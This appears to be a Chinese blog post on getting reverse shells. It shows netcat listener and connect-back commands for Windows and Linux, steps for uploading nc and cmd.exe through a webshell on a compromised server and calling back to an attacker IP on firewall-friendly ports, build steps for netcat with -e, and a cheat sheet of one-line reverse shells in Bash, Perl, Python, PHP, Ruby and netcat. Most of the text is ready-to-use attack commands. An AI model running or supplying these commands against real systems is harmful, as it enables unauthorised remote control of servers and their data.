反弹shell

本地Windows监听
nc -vv -l -p 1234                                                                               
 
 
远程Windows转发
nc -t -e C:\WINDOWS\system32\cmd.exe 8.8.8.8 1234
 
前提:
1.能用WebShell运行cmd命令。
方法有很多,首先是WScript.Shell,如果被改名或者被删了,就找可运行目录上传cmd.exe。

2.上传nc。可以跟cmd.exe上传到同一目录。

步骤:
现在本地监听一个端口。

nc -vv -l -p 8080

最好是80或8080这样的端口,被防火墙拦截的几率小很多。我机器80被Apache占了,就用8080了。

在WebShell运行下面命令连接我们监听的端口得到CmdShell:

nc -vv 222.71.138.177 8080 -e C:\Documents and Settings\All Users\Documents\cmd.exe

(假设cmd.exe是上传在“C:\Documents and Settings\All Users\Documents\”这个目录的)
稍等片刻,不出意外的话就可以得到CmdShell了。

不过我前面也说了,是低权限的CmdShell,能做的事情很少,但如果我们要运行很多cmd命令的话,还是要方便很多。
如果要在反弹的CmdShell里面运行上传的程序,要用如下个格式:

C:\WINDOWS\system32\inetsrv>"C:\Documents and Settings\All Users\Documents\cmd.exe"
 
 
远程Linux转发
./netcat  8.8.8.8  1234 -e /bin/sh
ReverseShell.c
ReverseShell.pl
ReverseShell.py
phpspy.php
 

---------------------NetCat for linux 参数e-------------------------
wget http://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download -O netcat-0.7.1.tar.gz

tar zxvf netcat-0.7.1.tar.gz

cd netcat-0.7.1

./configure

make

cd src

./netcat -h
--------------------------------------------------------------------



一句话反弹命令
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
[Bash]
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

[PERL]
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

[Python]
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

[PHP]
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

[Ruby]
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

[Netcat]
nc -e /bin/sh 10.0.0.1 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值